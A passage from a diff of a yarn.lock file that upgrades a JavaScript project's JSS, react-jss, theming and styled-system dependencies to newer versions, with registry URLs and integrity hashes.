+    jss "10.0.0-alpha.12"
 
-jss-preset-default@^4.3.0:
-  version "4.5.0"
-  resolved "https://registry.yarnpkg.com/jss-preset-default/-/jss-preset-default-4.5.0.tgz#d3a457012ccd7a551312014e394c23c4b301cadd"
-  integrity sha512-qZbpRVtHT7hBPpZEBPFfafZKWmq3tA/An5RNqywDsZQGrlinIF/mGD9lmj6jGqu8GrED2SMHZ3pPKLmjCZoiaQ==
-  dependencies:
-    jss-camel-case "^6.1.0"
-    jss-compose "^5.0.0"
-    jss-default-unit "^8.0.2"
-    jss-expand "^5.3.0"
-    jss-extend "^6.2.0"
-    jss-global "^3.0.0"
-    jss-nested "^6.0.1"
-    jss-props-sort "^6.0.0"
-    jss-template "^1.0.1"
-    jss-vendor-prefixer "^7.0.0"
-
-jss-props-sort@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/jss-props-sort/-/jss-props-sort-6.0.0.tgz#9105101a3b5071fab61e2d85ea74cc22e9b16323"
-  integrity sha512-E89UDcrphmI0LzmvYk25Hp4aE5ZBsXqMWlkFXS0EtPkunJkRr+WXdCNYbXbksIPnKlBenGB9OxzQY+mVc70S+g==
+jss-preset-default@10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss-preset-default/-/jss-preset-default-10.0.0-alpha.12.tgz#d0c489915b0cdd69b594bb0abbb1ea00971998c4"
+  integrity sha512-fkbpbxS265TaUDfxNbmEOMGSXBFu+6ULuZBJ4Fen4wjijoVyIE/BJcSX+KpaOv9OSxW7Jf67TQE4ZZAQLLIUMQ==
+  dependencies:
+    "@babel/runtime" "^7.3.1"
+    jss "10.0.0-alpha.12"
+    jss-plugin-camel-case "10.0.0-alpha.12"
+    jss-plugin-compose "10.0.0-alpha.12"
+    jss-plugin-default-unit "10.0.0-alpha.12"
+    jss-plugin-expand "10.0.0-alpha.12"
+    jss-plugin-extend "10.0.0-alpha.12"
+    jss-plugin-global "10.0.0-alpha.12"
+    jss-plugin-nested "10.0.0-alpha.12"
+    jss-plugin-props-sort "10.0.0-alpha.12"
+    jss-plugin-rule-value-function "10.0.0-alpha.12"
+    jss-plugin-rule-value-observable "10.0.0-alpha.12"
+    jss-plugin-template "10.0.0-alpha.12"
+    jss-plugin-vendor-prefixer "10.0.0-alpha.12"
 
 jss-rtl@^0.2.1:
   version "0.2.3"
@@ -8032,38 +8019,15 @@ jss-rtl@^0.2.1:
   dependencies:
     rtl-css-js "^1.8.0"
 
-jss-template@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/jss-template/-/jss-template-1.0.1.tgz#09aed9d86cc547b07f53ef355d7e1777f7da430a"
-  integrity sha512-m5BqEWha17fmIVXm1z8xbJhY6GFJxNB9H68GVnCWPyGYfxiAgY9WTQyvDAVj+pYRgrXSOfN5V1T4+SzN1sJTeg==
-  dependencies:
-    warning "^3.0.0"
-
-jss-vendor-prefixer@^7.0.0:
-  version "7.0.0"
-  resolved "https://registry.yarnpkg.com/jss-vendor-prefixer/-/jss-vendor-prefixer-7.0.0.tgz#0166729650015ef19d9f02437c73667231605c71"
-  integrity sha512-Agd+FKmvsI0HLcYXkvy8GYOw3AAASBUpsmIRvVQheps+JWaN892uFOInTr0DRydwaD91vSSUCU4NssschvF7MA==
-  dependencies:
-    css-vendor "^0.3.8"
-
-jss@^10.0.0-alpha.3, jss@^10.0.0-alpha.7, jss@^9.7.0:
-  version "10.0.0-alpha.10"
-  resolved "https://registry.yarnpkg.com/jss/-/jss-10.0.0-alpha.10.tgz#51b6a3af57476e88515bf13521ecf0d138b69041"
-  integrity sha512-kuFDO9taDpVUbfksLjz9HbMLYeM4WbNqIPajihP+hR8IJma9bMgpCQTuXDW2WM+8f5sqtnojWzc/26ZkSo70mw==
+jss@10.0.0-alpha.12, jss@^10.0.0-alpha.12:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/jss/-/jss-10.0.0-alpha.12.tgz#bc2bf245850527a90de2aa08cf68c92bcf5db569"
+  integrity sha512-1HHH0oEcsnOnDYPGogd2NM9Aj94xnPLAPV4KfwLkSYTxtAmrBAK/eN25+Y/7BD5pSxb0vQkLbfX7QIWvy4rqeQ==
   dependencies:
-    "@babel/runtime" "^7.0.0"
+    "@babel/runtime" "^7.3.1"
     is-in-browser "^1.1.3"
     tiny-warning "^1.0.2"
 
-jss@^9.8.7:
-  version "9.8.7"
-  resolved "https://registry.yarnpkg.com/jss/-/jss-9.8.7.tgz#ed9763fc0f2f0260fc8260dac657af61e622ce05"
-  integrity sha512-awj3XRZYxbrmmrx9LUSj5pXSUfm12m8xzi/VKeqI1ZwWBtQ0kVPTs3vYs32t4rFw83CgFDukA8wKzOE9sMQnoQ==
-  dependencies:
-    is-in-browser "^1.1.3"
-    symbol-observable "^1.1.0"
-    warning "^3.0.0"
-
 jsx-ast-utils@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-2.0.1.tgz#e801b1b39985e20fffc87b40e3748080e2dcac7f"
@@ -9430,7 +9394,7 @@ node-releases@^1.1.3:
   dependencies:
     semver "^5.3.0"
 
-nodemod@^1.5.19:
+nodemod@latest:
   version "1.5.19"
   resolved "https://registry.yarnpkg.com/nodemod/-/nodemod-1.5.19.tgz#eb9a1866bb7250ea3f804e7715661aa7559800e1"
   integrity sha1-65oYZrtyUOo/gE53FWYap1WYAOE=
@@ -11051,6 +11015,11 @@ react-autowhatever@^10.1.2:
     react-themeable "^1.1.0"
     section-iterator "^2.0.0"
 
+react-display-name@^0.2.4:
+  version "0.2.4"
+  resolved "https://registry.yarnpkg.com/react-display-name/-/react-display-name-0.2.4.tgz#e2a670b81d79a2204335510c01246f4c92ff12cf"
+  integrity sha512-zvU6iouW+SWwHTyThwxGICjJYCMZFk/6r/+jmOdC7ntQoPlS/Pqb81MkxaMf2bHTSq9TN3K3zX2/ayMW/jCtyA==
+
 react-docgen@^4.0.1:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/react-docgen/-/react-docgen-4.0.1.tgz#164b78f40dea7cae60c28a4a13802641498f8480"
@@ -11134,16 +11103,18 @@ react-is@^16.5.2, react-is@^16.6.0, react-is@^16.6.3, react-is@^16.7.0, react-is
   resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.8.1.tgz#a80141e246eb894824fb4f2901c0c50ef31d4cdb"
   integrity sha512-ioMCzVDWvCvKD8eeT+iukyWrBGrA3DiFYkXfBsVYIRdaREZuBjENG+KjrikavCLasozqRWTwFUagU/O4vPpRMA==
 
-react-jss@^8.6.1:
-  version "8.6.1"
-  resolved "https://registry.yarnpkg.com/react-jss/-/react-jss-8.6.1.tgz#a06e2e1d2c4d91b4d11befda865e6c07fbd75252"
-  integrity sha512-SH6XrJDJkAphp602J14JTy3puB2Zxz1FkM3bKVE8wON+va99jnUTKWnzGECb3NfIn9JPR5vHykge7K3/A747xQ==
+react-jss@next:
+  version "10.0.0-alpha.12"
+  resolved "https://registry.yarnpkg.com/react-jss/-/react-jss-10.0.0-alpha.12.tgz#d2ca3a6699cc493dd7ccb1622d2a32b3de6cab45"
+  integrity sha512-4j3trVas9ZMFHlco+kBhkrAx87IToOwP/Qhk2yVqYtzBsdaxp49JEL0KSU1LqwnJNT1E0GOLbK0jAZ/Ymu3PRQ==
   dependencies:
-    hoist-non-react-statics "^2.5.0"
-    jss "^9.7.0"
-    jss-preset-default "^4.3.0"
+    "@babel/runtime" "^7.3.1"
+    hoist-non-react-statics "^3.2.0"
+    jss "10.0.0-alpha.12"
+    jss-preset-default "10.0.0-alpha.12"
     prop-types "^15.6.0"
-    theming "^1.3.0"
+    theming "^3.0.3"
+    tiny-warning "^1.0.2"
 
 react-lifecycles-compat@^3.0.4:
   version "3.0.4"
@@ -12837,12 +12808,12 @@ styled-jsx@3.2.1:
     stylis "3.5.4"
     stylis-rule-sheet "0.0.10"
 
-styled-system@^3.1.11:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/styled-system/-/styled-system-3.2.1.tgz#491e1e6f88d7ee021f6f49376f12852cde8007cb"
-  integrity sha512-ag0Yp7UeVHHc3t+1uM3jvlljaZYzwqpbJ8hMrFvpaKfUd8xsB9JeQXLwMpEsz8iLx8Lz/+9j0coWFZjmw8MogQ==
+styled-system@latest:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/styled-system/-/styled-system-4.0.1.tgz#0f37a25cadbb172fbe03c4d19de9dfaabe6b6d02"
+  integrity sha512-wb7dA8gpl9gr04HLWAaPUABmp7QGICpqB2rUMGbC2Ho0sTgjTeUgLTHTWZBiYR3yybYyVysdku7SXFvLtOh4fg==
   dependencies:
-    "@babel/runtime" "^7.1.2"
+    "@babel/runtime" "^7.3.1"
     prop-types "^15.6.2"
 
 stylehacks@^4.0.0:
@@ -12918,7 +12889,7 @@ svgo@^1.0.0, svgo@^1.0.5:
     unquote "~1.1.1"
     util.promisify "~1.0.0"
 
-symbol-observable@1.2.0, symbol-observable@^1.1.0, symbol-observable@^1.2.0:
+symbol-observable@1.2.0, symbol-observable@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-1.2.0.tgz#c22688aed4eab3cdc2dfeacbb561660560a00804"
   integrity sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ==
@@ -13057,15 +13028,15 @@ text-table@^0.2.0:
   resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
   integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=
 
-theming@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/theming/-/theming-1.3.0.tgz#286d5bae80be890d0adc645e5ca0498723725bdc"
-  integrity sha512-ya5Ef7XDGbTPBv5ENTwrwkPUexrlPeiAg/EI9kdlUAZhNlRbCdhMKRgjNX1IcmsmiPcqDQZE6BpSaH+cr31FKw==
+theming@^3.0.3:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/theming/-/theming-3.1.0.tgz#aee88cd6b442a70f26efe5d6a150f4d57b107001"
+  integrity sha512-m9sc0sFbaaFV3P27b2yALQN7837ZNDNxzE0TVy4dc5lHFBhwPrFWnZZdVjrbuxH03d8XMLkqYyG2aJq7I6s5vw==
   dependencies:
-    brcast "^3.0.1"
-    is-function "^1.0.1"
-    is-plain-object "^2.0.1"
+    hoist-non-react-statics "^3.3.0"
     prop-types "^15.5.8"
+    react-display-name "^0.2.4"
+    tiny-warning "^1.0.2"
 
 thenify-all@^1.0.0, thenify-all@^1.6.0:
   version "1.6.0"